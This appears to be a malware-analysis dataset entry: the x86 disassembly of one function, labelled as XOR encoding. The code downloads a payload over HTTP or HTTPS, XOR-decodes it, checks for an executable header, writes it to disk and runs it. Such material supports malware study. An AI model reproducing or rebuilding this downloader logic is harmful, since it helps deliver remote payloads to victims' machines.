Function at 0x402500
Capabilities:
Encode data using xor

Disassembly:
pop ecx
jmp 0x4024d0
mov ebp, esp
add ecx, 0x1a
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
push ecx
mov ebx, ecx
push dword [ebp + 4]
call dword [ebp]
mov dword [ebp - 4], eax
push eax
xor eax, eax
mov al, byte [ebx]
inc ebx
test eax, eax
jne 0x4024ea
push ebx
push dword [ebp + 4]
call dword [ebp]
mov dword [ebp - 8], eax
push eax
mov esi, ebx
lodsb al, byte [esi]
test al, al
invalid
jne 0x4024fe
lodsb al, byte [esi]
dec al
je 0x402517
dec al
je 0x402520
dec esi
push esi
push dword [ebp - 0x10]
call dword [ebp - 8]
push eax
jmp 0x4024fe
push esi
call dword [ebp - 4]
mov dword [ebp - 0x10], eax
jmp 0x4024fe
mov eax, dword [ebp - 0xc]
mov ecx, eax
add eax, 0xc77
push eax
mov eax, ecx
add eax, 0xc86
push eax
mov eax, ecx
add eax, 0xb60
push eax
mov ebp, esp
add esp, 0xfffffd80
push 4
push 0x1000
push 0xa7dce4
push 0
call dword [ebp + 0x3c]
test eax, eax
je 0x402543
push 0x1000
pop ecx
push ecx
mov dword [ebp - 0x44], eax
add eax, 0x1e8868
mov dword [ebp - 0x48], eax
add eax, 0x5b9550
mov dword [ebp - 0xc], eax
pop edx
add eax, edx
mov dword [ebp - 0x10], eax
add eax, edx
add eax, ecx
mov dword [ebp - 0x30], eax
add eax, edx
mov dword [ebp - 4], eax
mov ebx, eax
add eax, edx
mov edi, eax
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x58], eax
lodsw ax, word [esi]
mov dword [ebp - 0x54], eax
xor eax, eax
mov ecx, eax
mov edx, eax
mov dword [ebx], edi
add ebx, 4
lodsb al, byte [esi]
cmp al, 1
je 0x4025b6
stosw word es:[edi], ax
inc ecx
test al, al
jne 0x4025a8
jmp 0x4025a3
xor eax, eax
lodsb al, byte [esi]
mov dword [ebp - 8], esi
shl eax, 2
add esi, eax
xor eax, eax
lodsb al, byte [esi]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], edi
mov ecx, eax
cld
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
lodsw ax, word [esi]
stosd dword es:[edi], eax
loop 0x4025cd
mov eax, 0x400
mov dword [ebp - 0x50], edi
add edi, eax
mov dword [ebp - 0x6c], edi
mov ebx, edi
add ebx, eax
mov al, 0x2f
stosb byte es:[edi], al
xor eax, eax
stosb byte es:[edi], al
mov eax, 0xc8
lea esi, [ebp - 0x68]
mov dword [esi], eax
push esi
push edi
call dword [ebp + 0x70]
lodsd eax, dword [esi]
shl eax, 1
add edi, eax
mov al, 0x2f
stosb byte es:[edi], al
xor eax, eax
stosb byte es:[edi], al
mov ah, 4
mov dword [ebp - 0x68], ebx
mov edi, ebx
add ebx, eax
mov ecx, 0x11c
mov esi, ebx
mov dword [esi], ecx
push esi
call dword [ebp + 0x6c]
xor eax, eax
push 0x10e
mov al, 0x2f
stosw word es:[edi], ax
lodsd eax, dword [esi]
lodsd eax, dword [esi]
add al, 0x30
stosw word es:[edi], ax
lodsd eax, dword [esi]
add al, 0x30
stosw word es:[edi], ax
pop eax
add esi, eax
lodsb al, byte [esi]
dec al
je 0x40263f
mov al, 0x53
stosw word es:[edi], ax
sub esi, 6
dec esi
lodsw ax, word [esi]
test ax, ax
je 0x402662
add al, 0x32
dec eax
push eax
mov al, 0x2b
inc eax
inc eax
stosw word es:[edi], ax
mov al, 0x54
push 0x50
dec eax
stosw word es:[edi], ax
pop eax
stosw word es:[edi], ax
pop eax
dec eax
stosw word es:[edi], ax
xor eax, eax
mov al, 0x2f
stosw word es:[edi], ax
xor eax, eax
stosw word es:[edi], ax
mov ebx, 0xfff
mov edi, dword [ebp - 0xc]
push ebx
push edi
xor eax, eax
push eax
call dword [ebp + 0x68]
mov esi, dword [ebp - 0x10]
push esi
push ebx
call dword [ebp + 0x64]
mov ecx, 7
call dword [ebp + 8]
push eax
push esi
mov ecx, 0
call dword [ebp + 8]
push eax
push esi
call dword [ebp + 0x84]
add esp, 0x18
xor eax, eax
push eax
push 0x80
push 3
push eax
push 1
push 0x80000000
push edi
call dword [ebp + 0x5c]
cmp eax, 0xffffffff
je 0x4026a1
mov dword [ebp - 0x14], eax
push 0
push eax
call dword [ebp + 0x40]
mov dword [ebp - 0x18], eax
push eax
push edi
call dword [ebp + 0x48]
inc eax
shl eax, 1
mov dword [ebp - 0x2c], eax
pop ecx
add ecx, eax
mov esi, ecx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
push 0
lea ecx, [ebp - 0x20]
push ecx
push dword [ebp - 0x18]
push eax
push dword [ebp - 0x14]
call dword [ebp + 0x58]
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call dword [ebp + 0x74]
test eax, eax
je 0x4028ce
push esi
mov ecx, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
add edi, eax
mov esi, dword [ebp - 0xc]
cld
rep movsb byte es:[edi], byte [esi]
pop esi
xor eax, eax
mov edi, eax
push edi
push 0x80
push 2
push edi
push 2
push 0x40000000
push dword [ebp - 0x10]
call dword [ebp + 0x5c]
test eax, eax
je 0x402d64
mov dword [ebp - 0x24], eax
push edi
lea ecx, [ebp - 0x20]
push ecx
push esi
push dword [ebp - 0x1c]
push eax
call dword [ebp + 0x54]
push dword [ebp - 0x14]
call dword [ebp + 0x44]
push dword [ebp - 0x24]
call dword [ebp + 0x44]
push dword [ebp - 0xc]
push 0x800
call dword [ebp + 0x64]
mov edi, dword [ebp - 0x44]
mov ecx, 0x14
mov eax, 0x44
push edi
stosd dword es:[edi], eax
xor eax, eax
stosd dword es:[edi], eax
loop 0x40276c
mov edi, dword [ebp - 0x48]
push edi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, eax
push dword [ebp - 0xc]
push edi
push edi
push edi
push edi
push edi
push dword [ebp - 0x10]
push edi
call dword [ebp + 0x34]
push edi
call dword [ebp + 0x30]
int3
xor eax, eax
mov ecx, 0x3c
mov edx, dword [ebp - 0x1c]
push edx
add edx, ecx
mov ax, word [edx]
pop edx
add edx, eax
movzx ecx, word [edx + 6]
mov esi, dword [edx + 0x3c]
add edx, 0x14
movzx eax, word [edx]
inc eax
inc eax
inc eax
inc eax
add edx, eax
mov eax, 0x28
dec ecx
add edx, eax
dec ecx
jne 0x4028fa
mov ecx, esi
mov eax, dword [edx + 8]
add eax, ecx
dec eax
dec ecx
not ecx
and eax, ecx
add eax, dword [edx + 0x14]
mov edi, dword [ebp - 0x1c]
add edi, eax
push dword [ebp - 0x14]
call dword [ebp + 0x44]
mov esi, 0x1e
push edi
call dword [ebp + 0x50]
test eax, eax
jne 0x402934
push 1
push 0x3e8
call dword [ebp + 0x38]
dec esi
jne 0x40291f
xor eax, eax
mov esi, eax
push eax
push esi
push eax
push 0
push 6
pop ecx
call dword [ebp + 8]
push eax
call dword [ebp + 0x28]
test eax, eax
je 0x402934
mov dword [ebp - 0x28], eax
push 3
pop ecx
call dword [ebp + 8]
mov dword [ebp - 0x88], eax
push 4
pop ecx
call dword [ebp + 8]
mov dword [ebp - 0x84], eax
mov eax, 0x3e80
mov dword [ebp - 0x7c], eax
xor eax, eax
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov ecx, eax
mov dword [ebp - 0x80], eax
dec eax
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
inc eax
cmp eax, dword [ebp - 0x5c]
jne 0x4029cf
mov edx, dword [ebp - 0x50]
shl eax, 2
add edx, eax
mov eax, dword [edx]
inc eax
mov dword [edx], eax
mov ecx, dword [ebp - 0x7c]
cmp eax, 5
jbe 0x4029b4
inc esi
cmp eax, 0xa
jbe 0x4029b4
add ecx, 0x2710
mov dword [ebp - 0x7c], ecx
xor eax, eax
mov dword [edx], eax
mov ecx, 0x927c0
push 1
push ecx
call dword [ebp + 0x38]
test esi, esi
jne 0x4029c5
mov ax, 0x2901
call dword [ebp]
mov eax, dword [ebp - 0x74]
test eax, eax
je 0x4029cf
xor eax, eax
inc eax
mov dword [ebp - 0x58], eax
call dword [ebp + 4]
cmp ah, 0xff
je 0x40297e
mov eax, dword [ebp - 0x34]
test eax, eax
je 0x4029e9
push eax
call dword [ebp + 0x18]
and dword [ebp - 0x34], 0
mov ecx, dword [ebp - 0x38]
jecxz 0x4029f6
push ecx
call dword [ebp + 0x18]
and dword [ebp - 0x38], 0
lea esi, [ebp - 0x70]
mov eax, 0xfa0
mov dword [esi], eax
push 4
push esi
push 2
push dword [ebp - 0x28]
call dword [ebp + 0x10]
push 3
pop ecx
xor esi, esi
push ecx
push esi
push esi
push 3
push esi
push esi
mov eax, dword [ebp - 0x58]
mov ecx, 0x1bb
test eax, eax
jne 0x402a28
mov ecx, 0x50
push ecx
dec eax
test eax, eax
jne 0x402a52
inc eax
mov edx, dword [ebp - 0x50]
shl eax, 2
add edx, eax
mov eax, dword [edx]
test eax, eax
jne 0x402a52
inc eax
mov dword [edx], eax
call dword [ebp + 0x60]
xor edx, edx
div dword [ebp - 0x5c]
mov eax, edx
test eax, eax
jne 0x402a4f
inc eax
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
call dword [ebp + 4]
mov cl, ah
call dword [ebp + 8]
push eax
push dword [ebp - 0x28]
call dword [ebp + 0x24]
pop ecx
test eax, eax
loope 0x402a10
mov dword [ebp - 0x34], eax
je 0x40297e
xchg edi, eax
lea esi, [ebp - 0x70]
mov eax, 0x2710
mov dword [esi], eax
push 4
push esi
push 2
push edi
call dword [ebp + 0x10]
xor esi, esi
push 3
pop ecx
push ecx
push esi
mov eax, dword [ebp - 0x58]
mov ecx, 0x80803000
test eax, eax
jne 0x402a9e
mov ecx, 0x80000000
push ecx
lea eax, [ebp - 0x88]
push eax
push esi
push esi
mov eax, dword [ebp - 0x58]
mov ah, 1
call dword [ebp + 4]
mov cl, ah
call dword [ebp + 8]
push eax
push esi
push edi
call dword [ebp + 0x20]
pop ecx
test eax, eax
loope 0x402a8b
mov dword [ebp - 0x38], eax
test eax, eax
je 0x402a6c
xchg edi, eax
mov eax, dword [ebp - 0x58]
test eax, eax
je 0x402ae4
lea esi, [ebp - 0x70]
mov eax, pe_nt_image_headers32
mov dword [esi], eax
push 4
push esi
push 0x1f
push dword [ebp - 0x38]
call dword [ebp + 0x10]
lea esi, [ebp - 0x70]
mov eax, 0xea60
mov dword [esi], eax
push 4
push esi
push 6
push dword [ebp - 0x38]
call dword [ebp + 0x10]
push 4
push esi
push 2
push dword [ebp - 0x38]
call dword [ebp + 0x10]
xor esi, esi
push 2
pop ecx
push ecx
push esi
push esi
push esi
push esi
push edi
call dword [ebp + 0x1c]
pop ecx
test eax, eax
loope 0x402b09
je 0x402a6c
mov eax, 0x3d0900
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x20], eax
lea esi, [ebp - 0x20]
mov edi, dword [ebp - 0x44]
mov dword [ebp - 0x64], edi
mov ecx, 0x1388
push ecx
push esi
push dword [ebp - 0x40]
push edi
push dword [ebp - 0x38]
call dword [ebp + 0x14]
pop ecx
test eax, eax
je 0x402b6d
mov eax, dword [esi]
test eax, eax
je 0x402b6d
add edi, eax
sub dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
test eax, eax
je 0x402b6d
dec ecx
jne 0x402b38
mov ecx, dword [ebp - 0x58]
mov ax, 0x2902
call dword [ebp]
jmp 0x40297e
mov eax, edi
sub eax, dword [ebp - 0x44]
cmp eax, 0x249f0
ja 0x402bd1
mov ecx, dword [ebp - 0x58]
test ecx, ecx
jne 0x402b5e
mov ecx, eax
mov edi, dword [ebp - 0x30]
mov eax, dword [edi]
test eax, eax
jne 0x402b5e
push 0x2e
mov esi, dword [ebp - 0x44]
pop ecx
lodsb al, byte [esi]
cmp al, cl
jb 0x402ba0
cmp al, 0x39
ja 0x402ba0
add eax, 0x14
stosb byte es:[edi], al
loop 0x402b91
xor eax, eax
stosw word es:[edi], ax
push eax
xor ecx, ecx
push ecx
push ecx
push 3
push ecx
push ecx
call dword [ebp + 0x60]
and eax, 3
add eax, dword [ebp - 0x54]
push eax
mov cl, 8
call dword [ebp + 8]
push eax
push dword [ebp - 0x28]
call dword [ebp + 0x24]
mov dword [ebp - 0x74], eax
pop eax
mov ecx, eax
call dword [ebp]
jmp 0x40297e
mov dword [ebp - 0x40], eax
mov eax, 0x5a06e0
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x58]
mov ah, 2
call dword [ebp + 4]
mov cl, ah
shl ecx, 2
mov eax, dword [ebp - 8]
add eax, ecx
mov ecx, dword [ebp - 0x40]
push ebx
mov esi, dword [ebp - 0x44]
push 4
mov ebx, dword [eax]
inc esi
inc esi
shr ecx, 2
pop edx
inc esi
inc esi
mov edi, esi
dec ecx
push ebx
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
pop ebx
dec ebx
dec ecx
jne 0x402c04
inc ecx
inc ecx
lea eax, [ebp - 0x14]
inc ecx
inc ecx
pop ebx
push eax
mov eax, dword [ebp - 0x40]
sub eax, ecx
push eax
mov esi, dword [ebp - 0x44]
add esi, ecx
push esi
mov eax, dword [ebp - 0x4c]
push eax
mov edi, dword [ebp - 0x48]
mov dword [ebp - 0x64], edi
push edi
push 0x102
call dword [ebp + 0x80]
mov eax, dword [edi]
dec al
inc ah
cmp ax, 0x5b4c
je 0x402c76
mov eax, dword [ebp - 0x58]
mov ecx, eax
mov edx, dword [ebp - 0x50]
shl eax, 2
add edx, eax
mov eax, dword [edx]
cmp eax, 5
ja 0x402d64
inc eax
mov dword [edx], eax
mov ax, 0x2904
call dword [ebp]
push 1
push 0x7d0
call dword [ebp + 0x38]
jmp 0x40297e
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
xor eax, eax
push eax
push 0x80
push 2
push eax
push 2
push 0x40000000
mov eax, dword [ebp - 0x58]
mov ah, 4
call dword [ebp + 4]
mov cl, ah
call dword [ebp + 8]
push eax
call dword [ebp + 0x5c]
mov edi, eax
xor eax, eax
push eax
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x64]
push edi
call dword [ebp + 0x54]
push edi
call dword [ebp + 0x44]
mov esi, dword [ebp - 0xc]
push esi
push ecx
call dword [ebp + 0x4c]
mov eax, dword [ebp - 0x58]
mov ah, 4
call dword [ebp + 4]
mov cl, ah
call dword [ebp + 8]
push eax
push esi
mov ecx, 1
call dword [ebp + 8]
push eax
push esi
call dword [ebp + 0x84]
add esp, 0x18
mov edi, dword [ebp - 0x44]
mov ecx, 0x14
mov eax, 0x44
push edi
stosd dword es:[edi], eax
xor eax, eax
stosd dword es:[edi], eax
loop 0x402cf1
mov edi, dword [ebp - 0x48]
push edi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, eax
push edi
push edi
push edi
push edi
push edi
push edi
push esi
push edi
call dword [ebp + 0x34]
mov ecx, eax
mov eax, 0x2905
call dword [ebp]
mov eax, dword [ebp - 0x58]
call dword [ebp + 4]
mov ecx, eax
push ecx
mov eax, dword [ebp - 0x58]
mov ah, 3
call dword [ebp + 4]
mov cl, ah
mov eax, 0x3e8
mul ecx
push 1
push eax
call dword [ebp + 0x38]
pop ecx
mov dl, cl
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0x5c]
push ebx
mov ebx, dword [ebp - 0x60]
mov eax, dword [ebx]
cmp al, dl
jne 0x402d4f
inc ebx
mov al, 0xff
mov byte [ebx], al
dec ebx
mov ah, al
cmp ah, 0xff
je 0x402d55
inc esi
add ebx, 8
dec ecx
jne 0x402d41
pop ebx
cmp esi, ecx
jne 0x40297e
push 0
call dword [ebp + 0x30]
int3